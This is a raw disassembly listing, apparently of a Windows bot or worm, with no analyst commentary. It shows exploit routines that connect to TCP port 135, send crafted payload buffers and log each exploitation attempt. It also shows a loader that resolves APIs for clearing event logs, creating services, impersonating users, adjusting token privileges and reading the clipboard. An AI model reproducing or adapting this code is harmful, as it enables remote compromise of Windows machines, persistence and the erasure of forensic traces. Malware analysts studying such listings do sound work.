; ---------------------------------------------------------------------------


loc_40B48D:				; CODE XREF: sub_40B427+B0j
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2008]
		inc	esi
		push	offset off_436A28
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4223F0
		push	esi
		lea	eax, [ebp+var_1FD8]
		push	0FFFFFF90h
		push	eax
		call	sub_4221F0
		push	edi
		lea	eax, [ebp+esi+var_1FD8]
		push	ebx
		push	eax
		call	sub_4223F0
		lea	esi, [esi+edi+30h]


loc_40B4C9:				; CODE XREF: sub_40B427+64j
		add	esp, 24h
		mov	eax, esi
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_40B48D
		xor	eax, eax
		cmp	[ebp+arg_D4], 3
		push	4
		setnz	al
		dec	eax
		and	ax, 0FCD7h
		add	eax, 10016C6h
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1FE4]
		push	eax
		call	sub_4223F0
		push	360h
		lea	eax, [ebp+var_1008]
		push	offset dword_436590
		push	eax
		call	sub_4223F0
		push	10h
		lea	eax, [ebp+var_CA8]
		push	offset dword_4368F4
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_2008]
		push	esi
		push	eax
		lea	eax, [ebp+var_C98]
		push	eax
		call	sub_4223F0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_436908
		lea	eax, [ebp+edi+var_1008]
		push	eax
		call	sub_4223F0
		add	edi, 3Ch
		push	30h
		push	offset dword_436948
		lea	eax, [ebp+edi+var_1008]
		push	eax
		call	sub_4223F0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		add	esp, 48h
		sar	eax, 1
		add	[ebp+var_CA8], eax
		add	[ebp+var_CA0], eax
		mov	eax, [ebp+var_1000]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_1000],	eax
		mov	eax, [ebp+var_FF8]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_F88]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F88], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F54]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F54], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F38]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F38], eax
		mov	eax, [ebp+var_E7C]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E7C], eax
		call	sub_422F79
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_4221F0
		lea	eax, [ebp+var_1008]
		push	edi
		push	eax
		push	ebx
		call	sub_4223F0
		mov	eax, [ebp+arg_D0]
		add	esp, 1Ch
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40B63B:				; CODE XREF: sub_40B427+23j
		pop	edi
		pop	esi
		leave
		retn
sub_40B427	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B63F	proc near		; CODE XREF: sub_401906+13Ap
					; DATA XREF: .text:off_43208Co

var_1018	= byte ptr -1018h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C0		= dword	ptr  0C8h
arg_D0		= dword	ptr  0D8h

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_8]
		push	1
		push	eax
		call	sub_401AB3
		pop	ecx
		mov	esi, eax
		pop	ecx
		push	0
		push	1
		push	2
		call	dword_454394	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40B74B
		push	10h
		lea	eax, [ebp+var_18]
		push	0
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	87h
		call	dword_454314	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword_45434C	; inet_addr
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		sub	esp, 0D0h
		lea	esi, [ebp+arg_8]
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40B427
		mov	ebx, dword_42F15C
		add	esp, 0D8h
		mov	esi, eax
		push	7D0h
		call	ebx ; dword_42F15C
		test	esi, esi
		jnz	short loc_40B6E0
		push	[ebp+var_4]
		jmp	short loc_40B745
; ---------------------------------------------------------------------------


loc_40B6E0:				; CODE XREF: sub_40B63F+9Aj
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4542AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B6F8


loc_40B6F5:				; CODE XREF: sub_40B63F+D5j
		push	esi
		jmp	short loc_40B73E
; ---------------------------------------------------------------------------


loc_40B6F8:				; CODE XREF: sub_40B63F+B4j
		push	0
		push	48h
		push	offset dword_436540
		push	edi
		call	dword_454350	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B716
		push	1F4h
		call	ebx ; dword_42F15C
		jmp	short loc_40B6F5
; ---------------------------------------------------------------------------


loc_40B716:				; CODE XREF: sub_40B63F+CCj
		push	0
		lea	eax, [ebp+var_1018]
		push	1000h
		push	eax
		push	edi
		call	dword_454330	; recv
		push	0
		push	[ebp+var_8]
		push	esi
		push	edi
		call	dword_454350	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40B752


loc_40B73E:				; CODE XREF: sub_40B63F+B7j
		call	sub_4230B3
		pop	ecx
		push	edi


loc_40B745:				; CODE XREF: sub_40B63F+9Fj
		call	dword_4543AC	; closesocket


loc_40B74B:				; CODE XREF: sub_40B63F+31j
		xor	eax, eax
		jmp	loc_40B7D7
; ---------------------------------------------------------------------------


loc_40B752:				; CODE XREF: sub_40B63F+FDj
		call	sub_4230B3
		pop	ecx
		push	edi
		call	dword_4543AC	; closesocket
		push	64h
		call	ebx ; dword_42F15C
		movzx	eax, word_439014
		push	eax
		lea	esi, [ebp+arg_8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401160
		add	esp, 0D4h
		test	eax, eax
		jz	short loc_40B7D4
		push	7D0h
		call	ebx ; dword_42F15C
		mov	eax, [ebp+arg_C0]
		lea	eax, [eax+eax*8]
		shl	eax, 3
		lea	ecx, dword_432090[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+arg_D0], 0
		mov	ecx, [ecx]
		jz	short loc_40B7D4
		push	ecx
		lea	ecx, [ebp+arg_8]
		lea	eax, dword_432069[eax]
		push	ecx
		push	eax
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	offset aSSSExD	; "%s %s -> %s (Ex: %d)"
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 1Ch


loc_40B7D4:				; CODE XREF: sub_40B63F+149j
					; sub_40B63F+16Fj
		xor	eax, eax
		inc	eax


loc_40B7D7:				; CODE XREF: sub_40B63F+10Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B63F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 197Ch
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		call	sub_4221F0
		push	2
		lea	eax, [ebp+10h]
		pop	esi
		push	eax
		mov	[ebp-14h], si
		call	sub_4140CF
		add	esp, 10h
		mov	[ebp-10h], eax
		push	87h
		call	dword_42F2B8	; ntohs
		push	edi
		push	edi
		push	edi
		push	6
		push	1
		push	esi
		mov	[ebp-12h], ax
		call	dword_42F2A0	; WSASocketA
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp-4], ebx
		jnz	short loc_40B83D
		push	edi
		call	dword_42F150	; ExitThread


loc_40B83D:				; CODE XREF: .text:0040B834j
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_42F294	; connect
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_40B856
		call	dword_42F150	; ExitThread


loc_40B856:				; CODE XREF: .text:0040B84Ej
		push	48h
		push	offset dword_436A60
		push	ebx
		call	dword_42F288	; send
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_40B870
		call	dword_42F150	; ExitThread


loc_40B870:				; CODE XREF: .text:0040B868j
		lea	eax, [ebp-197Ch]
		push	1000h
		push	eax
		push	ebx
		call	dword_42F28C	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40B88F
		push	edi
		call	dword_42F150	; ExitThread


loc_40B88F:				; CODE XREF: .text:0040B886j
		mov	ebx, 168h


loc_40B894:				; CODE XREF: .text:0040B8A9j
		push	7Ah
		push	61h
		call	sub_41409E
		mov	[ebp+edi-17Ch],	al
		inc	edi
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jl	short loc_40B894
		push	0Ah
		lea	eax, [ebp-90h]
		push	offset loc_436B50
		push	eax
		call	sub_4223F0
		push	esi
		lea	eax, [ebp-86h]
		push	offset dword_436BA0
		push	eax
		call	sub_4223F0
		push	4
		lea	eax, [ebp-82h]
		pop	edi
		push	edi
		push	offset dword_436B98
		push	eax
		call	sub_4223F0
		push	esi
		lea	eax, [ebp-4Ah]
		push	offset dword_436B9C
		push	eax
		call	sub_4223F0
		push	edi
		lea	eax, [ebp-46h]
		push	offset dword_436B94
		push	eax
		call	sub_4223F0
		push	0Bh
		lea	eax, [ebp-42h]
		push	offset loc_436B44
		push	eax
		call	sub_4223F0
		add	esp, 48h
		lea	eax, [ebp-97Ch]
		push	18h
		push	offset dword_436AAC
		push	eax
		call	sub_4223F0
		push	44h
		lea	eax, [ebp-964h]
		push	offset dword_436AC8
		push	eax
		call	sub_4223F0
		mov	esi, 90h
		push	20h
		lea	eax, [ebp-920h]
		push	esi
		push	eax
		call	sub_4221F0
		push	edi
		lea	eax, [ebp-900h]
		push	offset loc_436B5C
		push	eax
		call	sub_4223F0
		push	edi
		lea	eax, [ebp-8FCh]
		push	offset dword_436B90
		push	eax
		call	sub_4223F0
		push	edi
		lea	eax, [ebp-8F8h]
		push	offset dword_436B88
		push	eax
		call	sub_4223F0
		add	esp, 48h
		lea	eax, [ebp-8F4h]
		push	edi
		push	offset loc_436B8C
		push	eax
		call	sub_4223F0
		push	58h
		lea	eax, [ebp-8F0h]
		push	esi
		push	eax
		call	sub_4221F0
		push	6
		lea	eax, [ebp-898h]
		push	offset loc_436B64
		push	eax
		call	sub_4223F0
		push	8
		lea	eax, [ebp-892h]
		push	esi
		push	eax
		call	sub_4221F0
		push	edi
		lea	eax, [ebp-88Ah]
		push	offset loc_436B6C
		push	eax
		call	sub_4223F0
		push	edi
		lea	eax, [ebp-886h]
		push	esi
		push	eax
		call	sub_4221F0
		add	esp, 48h
		lea	eax, [ebp-882h]
		push	6
		push	offset loc_436B74
		push	eax
		call	sub_4223F0
		push	28Eh
		lea	eax, [ebp-87Ch]
		push	esi
		push	eax
		call	sub_4221F0
		push	158h
		lea	eax, [ebp-5EEh]
		push	offset dword_432980
		push	eax
		call	sub_4223F0
		lea	eax, [ebp-17Ch]
		push	ebx
		push	eax
		lea	eax, [ebp-496h]
		push	eax
		call	sub_4223F0
		push	0Ah
		lea	eax, [ebp-32Eh]
		push	offset off_436B7C
		push	eax
		call	sub_4223F0
		push	32h
		lea	eax, [ebp-324h]
		push	offset dword_436B10
		push	eax
		call	sub_4223F0
		add	esp, 48h
		xor	ebx, ebx
		mov	eax, 68Ah
		mov	dword ptr [ebp-96Ch], 672h
		push	ebx
		mov	[ebp-974h], eax
		push	eax
		lea	eax, [ebp-97Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_42F288	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BA9C
		push	ebx
		call	dword_42F150	; ExitThread


loc_40BA9C:				; CODE XREF: .text:0040BA93j
		movzx	eax, word_439014
		push	eax
		lea	esi, [ebp+10h]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401160
		add	esp, 0D4h
		test	eax, eax
		jz	short loc_40BB10
		push	7D0h
		call	dword_42F15C	; Sleep
		mov	eax, [ebp+0C8h]
		lea	eax, [eax+eax*8]
		shl	eax, 3
		lea	ecx, dword_432090[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+0D8h], ebx
		mov	ecx, [ecx]
		jz	short loc_40BB10
		push	ecx
		lea	ecx, [ebp+10h]
		lea	eax, dword_432069[eax]
		push	ecx
		push	eax
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	offset aSSSExD	; "%s %s -> %s (Ex: %d)"
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_4104F6
		add	esp, 1Ch


loc_40BB10:				; CODE XREF: .text:0040BAC1j
					; .text:0040BAEAj
		push	ebx
		lea	eax, [ebp-197Ch]
		push	1000h
		push	eax
		push	dword ptr [ebp-4]
		call	dword_42F28C	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40BB32
		push	ebx
		call	dword_42F150	; ExitThread


loc_40BB32:				; CODE XREF: .text:0040BB29j
		push	dword ptr [ebp-4]
		call	dword_42F298	; closesocket
		push	1
		call	dword_42F150	; ExitThread

; =============== S U B	R O U T	I N E =======================================



sub_40BB43	proc near		; CODE XREF: sub_4120E9+Bp
		push	ebx
		push	esi
		push	edi
		push	offset aKernel32_dll_1 ; "kernel32.dll"
		call	dword_42F074	; GetModuleHandleA
		mov	esi, dword_42F13C
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40BC55
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi ; dword_42F13C
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4543C0, eax
		call	esi ; dword_42F13C
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_454338, eax
		call	esi ; dword_42F13C
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_454318, eax
		call	esi ; dword_42F13C
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_454214, eax
		call	esi ; dword_42F13C
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4541C0, eax
		call	esi ; dword_42F13C
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4541E8, eax
		call	esi ; dword_42F13C
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_454268, eax
		call	esi ; dword_42F13C
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_45436C, eax
		call	esi ; dword_42F13C
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4543D4, eax
		call	esi ; dword_42F13C
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_454220, eax
		call	esi ; dword_42F13C
		push	offset aGetcomputernam ; "GetComputerNameA"
		push	edi
		mov	dword_454200, eax
		call	esi ; dword_42F13C
		cmp	dword_4543C0, ebx
		mov	dword_454354, eax
		jz	short loc_40BC60
		cmp	dword_454338, ebx
		jz	short loc_40BC60
		cmp	dword_454318, ebx
		jz	short loc_40BC60
		cmp	dword_454214, ebx
		jz	short loc_40BC60
		cmp	dword_4541E8, ebx
		jz	short loc_40BC60
		cmp	dword_454268, ebx
		jz	short loc_40BC60
		cmp	dword_45436C, ebx
		jz	short loc_40BC60
		cmp	dword_4543D4, ebx
		jz	short loc_40BC60
		cmp	dword_454220, ebx
		jz	short loc_40BC60
		cmp	dword_454200, ebx
		jz	short loc_40BC60
		cmp	eax, ebx
		jnz	short loc_40BC6A
		jmp	short loc_40BC60
; ---------------------------------------------------------------------------


loc_40BC55:				; CODE XREF: sub_40BB43+1Aj
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_4543DC, eax


loc_40BC60:				; CODE XREF: sub_40BB43+C2j
					; sub_40BB43+CAj ...
		mov	dword_4543D8, 1


loc_40BC6A:				; CODE XREF: sub_40BB43+10Ej
		push	ebp
		mov	ebp, dword_42F138
		push	offset aUser32_dll ; "user32.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40BD3D
		push	offset aClosewindow ; "CloseWindow"
		push	edi
		call	esi ; dword_42F13C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		mov	dword_45427C, eax
		call	esi ; dword_42F13C
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_454360, eax
		call	esi ; dword_42F13C
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_45431C, eax
		call	esi ; dword_42F13C
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4542A0, eax
		call	esi ; dword_42F13C
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4543C4, eax
		call	esi ; dword_42F13C
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4542D8, eax
		call	esi ; dword_42F13C
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_454300, eax
		call	esi ; dword_42F13C
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_454358, eax
		call	esi ; dword_42F13C
		cmp	dword_45427C, ebx
		mov	dword_45423C, eax
		jz	short loc_40BD48
		cmp	dword_454360, ebx
		jz	short loc_40BD48
		cmp	dword_45431C, ebx
		jz	short loc_40BD48
		cmp	dword_4542A0, ebx
		jz	short loc_40BD48
		cmp	dword_4543C4, ebx
		jz	short loc_40BD48
		cmp	dword_4542D8, ebx
		jz	short loc_40BD48
		cmp	dword_454300, ebx
		jz	short loc_40BD48
		cmp	dword_454358, ebx
		jz	short loc_40BD48
		cmp	eax, ebx
		jnz	short loc_40BD52
		jmp	short loc_40BD48
; ---------------------------------------------------------------------------


loc_40BD3D:				; CODE XREF: sub_40BB43+139j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_4543E4, eax


loc_40BD48:				; CODE XREF: sub_40BB43+1BAj
					; sub_40BB43+1C2j ...
		mov	dword_4543E0, 1


loc_40BD52:				; CODE XREF: sub_40BB43+1F6j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40C040
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi ; dword_42F13C
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_454384, eax
		call	esi ; dword_42F13C
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4542BC, eax
		call	esi ; dword_42F13C
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_45433C, eax
		call	esi ; dword_42F13C
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4541F8, eax
		call	esi ; dword_42F13C
		push	offset aRegdeletekeya ;	"RegDeleteKeyA"
		push	edi
		mov	dword_454260, eax
		call	esi ; dword_42F13C
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_45428C, eax
		call	esi ; dword_42F13C
		push	offset aRegenumkeyexa ;	"RegEnumKeyExA"
		push	edi
		mov	dword_4542E8, eax
		call	esi ; dword_42F13C
		push	offset aRegenumvaluea ;	"RegEnumValueA"
		push	edi
		mov	dword_454264, eax
		call	esi ; dword_42F13C
		push	offset aRegqueryinfoke ; "RegQueryInfoKeyA"
		push	edi
		mov	dword_45420C, eax
		call	esi ; dword_42F13C
		cmp	dword_454384, ebx
		mov	dword_4542B4, eax
		jz	short loc_40BE29
		cmp	dword_4542BC, ebx
		jz	short loc_40BE29
		cmp	dword_45433C, ebx
		jz	short loc_40BE29
		cmp	dword_4541F8, ebx
		jz	short loc_40BE29
		cmp	dword_454260, ebx
		jz	short loc_40BE29
		cmp	dword_45428C, ebx
		jz	short loc_40BE29
		cmp	dword_4542E8, ebx
		jz	short loc_40BE29
		cmp	dword_45420C, ebx
		jz	short loc_40BE29
		cmp	eax, ebx
		jnz	short loc_40BE33


loc_40BE29:				; CODE XREF: sub_40BB43+2A8j
					; sub_40BB43+2B0j ...
		mov	dword_4543E8, 1


loc_40BE33:				; CODE XREF: sub_40BB43+2E4j
		push	offset aOpenthreadtoke ; "OpenThreadToken"
		push	edi
		call	esi ; dword_42F13C
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		mov	dword_454248, eax
		call	esi ; dword_42F13C
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4542F8, eax
		call	esi ; dword_42F13C
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4542C4, eax
		call	esi ; dword_42F13C
		cmp	dword_454248, ebx
		mov	dword_454378, eax
		jz	short loc_40BE83
		cmp	dword_4542F8, ebx
		jz	short loc_40BE83
		cmp	dword_4542C4, ebx
		jz	short loc_40BE83
		cmp	eax, ebx
		jnz	short loc_40BE8D


loc_40BE83:				; CODE XREF: sub_40BB43+32Aj
					; sub_40BB43+332j ...
		mov	dword_4543E8, 1


loc_40BE8D:				; CODE XREF: sub_40BB43+33Ej
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi ; dword_42F13C
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_454304, eax
		call	esi ; dword_42F13C
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4541D4, eax
		call	esi ; dword_42F13C
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4541DC, eax
		call	esi ; dword_42F13C
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_454244, eax
		call	esi ; dword_42F13C
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_454250, eax
		call	esi ; dword_42F13C
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4541F0, eax
		call	esi ; dword_42F13C
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4542C8, eax
		call	esi ; dword_42F13C
		push	offset aCreateservicea ; "CreateServiceA"
		push	edi
		mov	dword_4541E0, eax
		call	esi ; dword_42F13C
		push	offset aStartservicect ; "StartServiceCtrlDispatcherA"
		push	edi
		mov	dword_45437C, eax
		call	esi ; dword_42F13C
		push	offset aImpersonatelog ; "ImpersonateLoggedOnUser"
		push	edi
		mov	dword_4543D0, eax
		call	esi ; dword_42F13C
		push	offset aLockservicedat ; "LockServiceDatabase"
		push	edi
		mov	dword_4543C8, eax
		call	esi ; dword_42F13C
		push	offset aQueryservicelo ; "QueryServiceLockStatusA"
		push	edi
		mov	dword_454208, eax
		call	esi ; dword_42F13C
		push	offset aChangeservicec ; "ChangeServiceConfig2A"
		push	edi
		mov	dword_454284, eax
		call	esi ; dword_42F13C
		push	offset aUnlockserviced ; "UnlockServiceDatabase"
		push	edi
		mov	dword_4543CC, eax
		call	esi ; dword_42F13C
		push	offset aRegisterservic ; "RegisterServiceCtrlHandlerA"
		push	edi
		mov	dword_45432C, eax
		call	esi ; dword_42F13C
		push	offset aSetservicestat ; "SetServiceStatus"
		push	edi
		mov	dword_454328, eax
		call	esi ; dword_42F13C
		cmp	dword_454304, ebx
		mov	dword_45426C, eax
		jz	short loc_40BFDE
		cmp	dword_4541D4, ebx
		jz	short loc_40BFDE
		cmp	dword_4541DC, ebx
		jz	short loc_40BFDE
		cmp	dword_454244, ebx
		jz	short loc_40BFDE
		cmp	dword_454250, ebx
		jz	short loc_40BFDE
		cmp	dword_4541F0, ebx
		jz	short loc_40BFDE
		cmp	dword_4542C8, ebx
		jz	short loc_40BFDE
		cmp	dword_4541E0, ebx
		jz	short loc_40BFDE
		cmp	dword_4543C8, ebx
		jz	short loc_40BFDE
		cmp	dword_454208, ebx
		jz	short loc_40BFDE
		cmp	dword_454284, ebx
		jz	short loc_40BFDE
		cmp	dword_4543CC, ebx
		jz	short loc_40BFDE
		cmp	dword_45432C, ebx
		jz	short loc_40BFDE
		cmp	dword_454328, ebx
		jz	short loc_40BFDE
		cmp	eax, ebx
		jnz	short loc_40BFE8


loc_40BFDE:				; CODE XREF: sub_40BB43+42Dj
					; sub_40BB43+435j ...
		mov	dword_4543E8, 1


loc_40BFE8:				; CODE XREF: sub_40BB43+499j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi ; dword_42F13C
		cmp	eax, ebx
		mov	dword_4541D8, eax
		jnz	short loc_40C003
		mov	dword_4543E8, 1


loc_40C003:				; CODE XREF: sub_40BB43+4B4j
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		call	esi ; dword_42F13C
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_454290, eax
		call	esi ; dword_42F13C
		push	offset aCloseeventlog ;	"CloseEventLog"
		push	edi
		mov	dword_454288, eax
		call	esi ; dword_42F13C
		cmp	dword_454290, ebx
		mov	dword_45424C, eax
		jz	short loc_40C04B
		cmp	dword_454288, ebx
		jz	short loc_40C04B
		cmp	eax, ebx
		jnz	short loc_40C055
		jmp	short loc_40C04B
; ---------------------------------------------------------------------------


loc_40C040:				; CODE XREF: sub_40BB43+21Aj
		call	dword_42F068	; RtlGetLastWin32Error
		mov	dword_4543F0, eax


loc_40C04B:				; CODE XREF: sub_40BB43+4EDj
					; sub_40BB43+4F5j ...
		mov	dword_4543E8, 1


loc_40C055:				; CODE XREF: sub_40BB43+4F9j
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp ; dword_42F138
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40C31C
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi ; dword_42F13C
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_454274, eax
		call	esi ; dword_42F13C
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4543B8, eax
		call	esi ; dword_42F13C
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_454210, eax
		call	esi ; dword_42F13C
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4541E4, eax
		call	esi ; dword_42F13C
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4542B0, eax
		call	esi ; dword_42F13C
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_454294, eax
		call	esi ; dword_42F13C
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_454258, eax
		call	esi ; dword_42F13C
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_454394, eax
		call	esi ; dword_42F13C
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4543B0, eax
		call	esi ; dword_42F13C
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4542AC, eax
		call	esi ; dword_42F13C
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_45439C, eax
		call	esi ; dword_42F13C
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_45434C, eax
		call	esi ; dword_42F13C
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_454314, eax
		call	esi ; dword_42F13C
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_454310, eax
		call	esi ; dword_42F13C
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_454230, eax
		call	esi ; dword_42F13C
		push	offset aSend	; "send"
		push	edi
		mov	dword_454228, eax
		call	esi ; dword_42F13C
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_454350, eax
		call	esi ; dword_42F13C
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_454370, eax
		call	esi ; dword_42F13C
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_454330, eax
		call	esi ; dword_42F13C
		mov	dword_4542E4, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi ; dword_42F13C
		push	offset aSelect	; "select"
		push	edi
		mov	dword_454344, eax
		call	esi ; dword_42F13C
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4542FC, eax
		call	esi ; dword_42F13C
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_454340, eax
		call	esi ; dword_42F13C
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4543A4, eax
		call	esi ; dword_42F13C
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4542F0, eax
		call	esi ; dword_42F13C
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4542A8, eax
		call	esi ; dword_42F13C
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_454324, eax
		call	esi ; dword_42F13C
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_454398, eax
		call	esi ; dword_42F13C
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4542C0, eax
		call	esi ; dword_42F13C
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_454254, eax
		call	esi ; dword_42F13C
		push	offset aShutdown ; "shutdown"
		push	edi
		mov	dword_4543AC, eax
		call	esi ; dword_42F13C
